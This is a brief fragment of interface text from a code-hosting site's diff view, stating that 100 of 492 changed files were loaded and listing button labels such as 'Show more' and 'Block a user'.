Loaded 100 of 492 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user